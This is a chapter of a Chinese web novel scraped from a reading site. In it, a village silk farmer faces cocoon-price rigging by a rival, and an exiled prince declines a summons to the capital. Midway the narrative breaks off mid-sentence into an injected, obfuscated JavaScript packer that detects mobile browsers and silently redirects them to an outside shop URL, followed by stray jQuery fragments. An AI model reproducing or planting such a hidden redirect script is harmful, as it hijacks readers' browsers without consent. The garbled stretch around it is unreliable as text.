默认冷灰
24号文字
方正启体

16. 第 16 章

作者:乔木依本书字数:K更新时间:
    外头的风势更加猛烈,有树枝断折后落地的声音,衬得夜晚更加幽深可怖。


    阮灵溪一直没睡熟,心里总是隐隐不安,尤其是那风声愈烈,贴着窗边掠过,更像是打在耳边,她从床上坐起,向窗外望去,外头依旧漆黑一片,尚不知时辰。


    反正睡不着,她索性下了床,穿好衣服后,找来一盏灯笼,那里面有半截一直没舍得用的小蜡烛,点亮后,提着出了门。


    风很大,吹得灯笼左右乱晃,她牢牢握住灯柄,凭直觉去了村东北方向。


    那片林里的树,从她来这个村时便枝繁叶茂,肆意生长,此刻正随着风狂吠摇摆,身后的村子却在风中安静沉睡,并未被什么打扰。


    她举着几欲飞起的灯笼,心里的担忧尽数随风散了,却在转身瞬间,被一块薄而锐的东西拌了脚。


    像是刀一类的利器。


    阮灵溪蹲下身,将灯笼靠近,那东西在幽弱的光线下,泛着利光,定睛一看,竟是半节刀身。


    村中向来无事,也没听说有谁打制兵器来防身,更何况是断刀。


    难道是山贼来过?


    她心里骤然一紧,下意识抬起头,朝林子看去,眼前一片漆黑,耳边除了风,再无其他声响。


    村子也没有山贼来过的痕迹。


    阮灵溪疑惑地拾起那把断刀,又提着灯笼在周围寻了许久,始终没找到带刀柄的那一段,她只能带着这半截断刀回了家。


    连着几日,村中始终如往常一般安静,陆怀仁口中的山贼,并未光顾平乐村。


    蚕到了吐丝结茧的时候,阮灵溪弄了几个炭盆放在西屋悬挂的麦秆簇下。


    眼下虽已快入夏,可天气仍有寒气,加上这几日又是阴雨天,若不烤火,丝软不说,还容易发霉,且刚吐出便烘干的丝,丝质坚韧,色泽上还会更白亮。


    只是这烘烤的火大为讲究,须为木炭等暗火,切忌明火燎熏,火候要温而不燥,门窗也要留有缝隙,以防有烟气熏到蚕,致其停止吐丝。


    村里有几户人家养蚕早了几日,如今已结完茧,今日便有人挑往茧市去卖生茧。


    头一批上市的茧,价钱总要高上几分,可等到大批茧一齐上市,货多了便不值钱,价自然就被压了下去。尤其自去年以来,多地常起动乱,茧市中那些逐利的奸商,便借着时局动荡肆意压价,也不知今年茧价如何。


    炭盆一一放好后,阮灵溪从西屋出来,来到院子里,蹲在那株荼蘼花下,慢慢清理花周的杂草。


    “灵溪姐姐。”荷香从院外走进来。


    荷香是村民王二的女儿,比云栖还要小两岁,两人关系要好,时常结伴进城玩。


    阮灵溪应了一声儿,以为她是来找云栖,刚要开口叫人,荷香却说这次并不是来找云栖玩,而是专门找她的。


    “找我?”阮灵溪见她一脸郑重,一边拔草,一边问,“找我什么事?”


    荷香犹豫半天,还是将今日和他爹进城卖茧时遇到的事,一五一十说了。


    原来,王二一早便挑着茧去了茧市,那里已有不少农户在卖茧,价钱虽不如往年,倒也还算合适,王二本打算就这么将挑来的茧全部出了,谁知收茧的人一听说他是平乐村的,竟立马改口,开出比旁人低上好几倍的价钱。


    王二跑遍整个茧市,但凡知道他是平乐村来的,无不拼命压价,他无奈又去了丝纺,想着哪怕比以往稍低一点的价脱手也好,可丝纺竟直接拒收。


    后来,王二遇上了陆怀仁,陆怀仁摇着扇子,慢悠悠地告诉他:想让村里的茧卖上好价钱,就让阮灵溪亲自来求他。


    阮灵溪听后,重重吐出一口气,将手里的草往边上一撇,“这个混账。”她拍掉手中的土,站起身,安慰荷香,“没事,我去城里看看。”


    她去池塘边洗干净手回来时,云栖已经从屋里出来,荷香将刚才的事又从头到尾说了一遍。


    云栖听后,直接上前拦住她,想开口,又碍于荷香在身边,只能一个劲儿地摇头。


    可阮灵溪不为所动,换了身干净衣裳,嘱咐她照看好家里的蚕,便匆匆出了门。


    云栖怕她吃亏,站在院子里急了好半天,才想起到对面找赵文奂和谢如风,却不想,云婶告诉她,他二人一早便进城去了,去做什么,谁也不知道。


    原来,赵文奂接到信王托人带来的口信,请他今日前往谢仲谦府中一叙。


    昔日兄弟再见,只剩下面上的笑语相合,一番虚情假意的客套过后,谢仲谦等人悉数退去。


    赵文锐绝口不提之前刺杀一事,直接开门见山,说明了皇上想让他回京的意思。


    “陛下此前之事,也是一时情势所迫,并非真对六哥你有了嫌隙,如今风波已过,特意让臣弟前来奉迎,此次不为公事诏令,只为手足情深,希望能与六哥您重修旧好,将过往芥蒂一笔勾销,再无隔阂。”


    赵文锐话说得恭敬,可赵文奂却不得不防。


    他虽是外放来此,可当日赵文谦明确下旨,若无圣旨传召,不得擅自回京,如今忽然暗中遣人来请,他若是回去,皇上翻了脸,一句“无召私自回京,”他只怕是百口莫辩。


    赵文奂思虑一番,面上却神色不动,让人猜不透心思,见赵文锐目光灼灼,似乎急于探知他想法,干脆随他心意,言辞恳切道:


    “我本就是闲散性子,习惯了山野闲逛,对朝堂政事无任何心思,如今在禹州山清水秀之地,平日里与百姓一同养蚕耕作,倒觉得安稳自在。若是回了京,也不过是闲居度日,无所适从,倒不如留在此地舒心。还请七弟回京之后,代为转告陛下,就说我感念天恩,只愿守着这份田园安稳,别无他求。”


    然赵文锐听后,并无他所料想的那般欢喜,反而神色中多了一丝忧虑,并连连数语劝他遵从陛下心意回京。


    联想提前所得消息,先前陛下欲下旨召他返京时,赵文锐想尽办法从中阻拦,总算劝的陛下同意他私下来请。


    赵文奂猜测,怕是他要等自己回去后,在御前搬弄是非,以无旨擅自回京的罪名,趁机将他弹劾治罪。


    既容不得他留在禹州,又不愿让他安然返京,他如今的处境,当真是进退两难。


    不过,两条路孰优孰劣,赵文奂心里自有分寸,任凭赵文锐如何劝,他都执意留在禹州。


    “我自知六哥一向闲云野鹤,不喜朝中束缚,”赵文锐递上一杯酒,算是妥协,“我欲成全六哥,定会全力游说陛下,为六哥博得一份自由。”


    赵文奂接过后,一饮而尽,他不愿在这里多待,以心系村中农事为由欲告辞离开。


    赵文锐对赵文奂在禹州的举动一清二楚。此次前来,又从谢仲谦口中听闻他倾心于一位农家女子,当即打趣道:“六哥怕是心系美人,才这般急着回去吧。”


    赵文奂并未否认,反倒以一副浪荡姿态大大方方认了下来。


    赵文锐大喜,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490856|202216||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “能被六哥放在心上的女子,定然是万般出色,改日有机会,我定要亲眼瞧瞧,是何等佳人。”


    ……


    与谢如风从太守府出来,赵文奂随口提起方才商议之事。


    得知赵文奂已婉拒回京,信王也答应代为向陛下禀明心意,谢如风一时竟不知这究竟是福还是祸。


    两人走了一段路,谢如风似是忽然想起什么,开口道:“王爷,我方才在城中看见了灵溪姑娘。”


    原来方才赵文奂在太守府中与信王议事时,谢如风闲来无事,便在城中随意转了转,恰好撞见阮灵溪往茧市方向去了。


    他怕阮灵溪看见自己后,会问起进城缘由,且赵文奂又不在身边,他担心一时回答不慎泄露了秘密,便没有上前打招呼,只等赵文奂从府中出来,才将此事告知了他。


    赵文奂心知阮灵溪家里的蚕虽已吐丝,却并没有完全成茧,她这时来到茧市,必不是为了卖茧,又听谢如风说她是空手而来,担心有其他事,便决定到茧市看看。


    阮灵溪在茧市中问了多个生茧贩子,可一谈及价钱,对方反倒先问她是哪村人,她随口说了个外村名字,贩子便报出寻常市价,可等她再问到平乐村时,果如荷香所言,开出的收价竟比别处低了许多。


    她没跟这贩子过多争执,既然是陆怀仁搞鬼,那就只能去找他理论,然转身时,竟看到赵文奂和谢如风迎面走来。


    阮灵溪正纳闷他俩怎么来了这里,赵文奂已经看出她眉头紧蹙,走近后开口问:“出什么事了?”


    阮灵溪没立刻回答,而是领他到人少的地方,才把陆怀仁暗中买通茧市,故意压村里茧价之事说了,然后便要去找陆怀仁算账。


    赵文奂一把拉住她,笑着说:“你一个人去找陆怀仁不是自投罗网?”


    他这一拽,阮灵溪的心跳顿失了半拍,脸也仿佛抹了胭脂般红,她甩开他的手,背过身,说:“他是冲着我来的,我不能因为我连累了全村人的生计。”


    “或许还有别的暂解之法。”


    阮灵溪闻言一怔,转身看向他。


    赵文奂见她蜜桃似的脸上染了几分惊讶,不由得轻笑出声,惹得阮灵溪眉头更加紧拧,脸也再红了几分。


    赵文奂收起笑,没多言,只示意她跟自己走。


    不只是阮灵溪,谢如风也是一头雾水,两人跟在他身旁,全然不知他葫芦里卖的什么药。


    赵文奂带着她沿原路返回,走到茧市尽头停下,那里有两个面生的商贩,摊子前虽有人卖茧,筐里收上来的茧却远不如别家的多。


    方才一路走来时,赵文奂习惯性地留意了下周围,发现这里的商贩大多都是一口流利的本地口音,唯独这几人听着是外乡来的。


    “不妨想想办法,让他们收下村里的茧。”赵文奂说。


    阮灵溪看着这两个贩子,听着他们与人算价时的外地口音,忽然有了主意。


    那些常年在此收茧的老商贩,来往卖茧的人见得多了,难免有些眼熟的。可这些新来的外地贩子不一样,若是村民去卖茧时,报上别的村子名,他们根本辨不出真假。


    如此一来,她可以回去告诉村里人,都以别村的名义来卖茧,至少能先渡过眼前难关,日后之事,再待她慢慢想办法解决。


    阮灵溪立在一旁思量着,赵文奂见她眉头似有微展,便问:“想到办法了?”


    阮灵溪闻声抬眼,浅浅点头一笑,“嗯!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)